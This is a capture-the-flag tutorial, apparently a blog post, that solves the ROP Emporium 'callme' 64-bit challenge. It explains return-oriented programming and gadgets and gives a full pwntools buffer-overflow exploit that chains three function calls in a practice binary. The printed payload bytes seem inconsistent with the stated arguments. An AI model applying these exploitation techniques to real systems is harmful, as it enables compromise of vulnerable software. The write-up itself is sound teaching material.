ROP Emporium callme (64bit)
If you are reading this, then this is the third post on writing ROP chain exploits, so far we have covered the basics…Day 1: ROP Emporium ret2win (64bit)
I completed the 32bit ROP Emporium challenges when they first came but never got round to the 64bit ones, I also don’t…medium.comDay 3: ROP Emporium split (64bit)
I’ll let you in on a secret; that useful string “/bin/cat flag.txt” is still present in this binary, as is a call to…medium.com
Why do we need ROP Chains?
With data execution prevention, an adversary cannot execute maliciously injected instructions because a typical buffer overflow overwrites contents in the data section of memory, which is marked as non-executable. To defeat this, a return-oriented programming attack does not inject malicious code, but rather uses instructions that are already present, called “gadgets”, by manipulating return addresses. A typical data execution prevention cannot defend against this attack because the adversary did not use malicious code but rather combined “good” instructions by changing return addresses; therefore the code used would not be marked non-executable.
The Call Me Challenge
You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag.het
First, let’s get the addresses of the functions we need to call, we do this manually with r2’s ‘afl’ command, or we use pwntools to get it automatically ‘elf.symbols.callme_one’ etc.
# 0x00401810 1 6 sym.imp.callme_three
# 0x00401850 1 6 sym.imp.callme_one
# 0x00401870 1 6 sym.imp.callme_two
About Gadgets
POP POP RET is a sequence of instructions needed in order to create SEH (Structured Exception Handler) exploits. The registers to which the popped values go are not important for the exploits to succeed, only the fact that ESP is moved towards higher addresses twice and then a RET is executed. Thus, either POP EAX, POP EBX, RET, or POP ECX, POP ECX, RET or POP EDX, POP EAX, RET (and so on) will do.
Understanding pop and push
push 0xdeadbeef ; push a value to the stackpop eax ; eax is now 0xdeadbeef
Let’s use ROPgadget to search for the kinds of gadgets we want…
ROPgadget --binary callme --only "mov|pop|ret"

We will use 0x0000000000401ab0 / pop rdi ; pop rsi ; pop rdx ; ret.
Ok, now we need to prepare our integers, best way to do this is with pwntools to get exactly what we need, p64 will give you back 64bit value of int supplied.

Now we have every thing we need, just need to set it all up in the right way…
First we set the gadget:
gadget = p64(0x0000000000401ab0)
Then we set up the addresses of functions and integers 1,2 and 3.
callme_one = p64(0x00401850)
callme_two = p64(0x00401870)
callme_three = p64(0x00401810)
one_int = p64(1)
two_int = p64(2)
three_int = p64(3)
To reduce the amount of code, we put together assembled_function as it will be the same for all..
assembled_function = gadget
assembled_function += one_int
assembled_function += two_int
assembled_function += three_int
No we are ready to assemble the rop chain…
# RIP offset is at 40
exploit = "A" * 40
# Call call_me_one(1,2,3)
exploit += assembled_function
exploit += callme_one
# Call call_me_two(1,2,3)
exploit += assembled_function
exploit += callme_two
# Call call_me_three(1,2,3)
exploit += assembled_function
exploit += callme_three
Final Exploit Payload…
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0\x1a@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00P\x18@\x00\x00\x00\x00\x00\xb0\x1a@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00p\x18@\x00\x00\x00\x00\x00\xb0\x1a@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x10\x18@\x00\x00\x00\x00\x00
That should have made the final exploit layout much easier to understand. From here things are going to get tougher so go over the last few posts, try the challenges yourself and if you have any questions comment below! Happy ROPing!
In future posts we will explore the final 64bit challenges on ROP Emporium, other forms of return oriented exploits and more advanced ROP chain examples.
Final Exploit
from pwn import *
# 0x00401810 1 6 sym.imp.callme_three
# 0x00401850 1 6 sym.imp.callme_one
# 0x00401870 1 6 sym.imp.callme_two
# Set up pwntools to work with this binary
elf = process('callme')
# pop rdi ; pop rsi ; pop rdx ; ret
gadget = p64(0x0000000000401ab0)
callme_one = p64(0x00401850)
callme_two = p64(0x00401870)
callme_three = p64(0x00401810)
one_int = p64(1)
two_int = p64(2)
three_int = p64(3)
assembled_function = gadget
assembled_function += one_int
assembled_function += two_int
assembled_function += three_int
# RIP offset is at 40
exploit = "A" * 40
# Call call_me_one(1,2,3)
exploit += assembled_function
exploit += callme_one
# Call call_me_two(1,2,3)
exploit += assembled_function
exploit += callme_two
# Call call_me_three(1,2,3)
exploit += assembled_function
exploit += callme_three
print exploit
# Send the payload
# io = elf.process()
elf.sendline(exploit)
# Print output
print elf.recvall()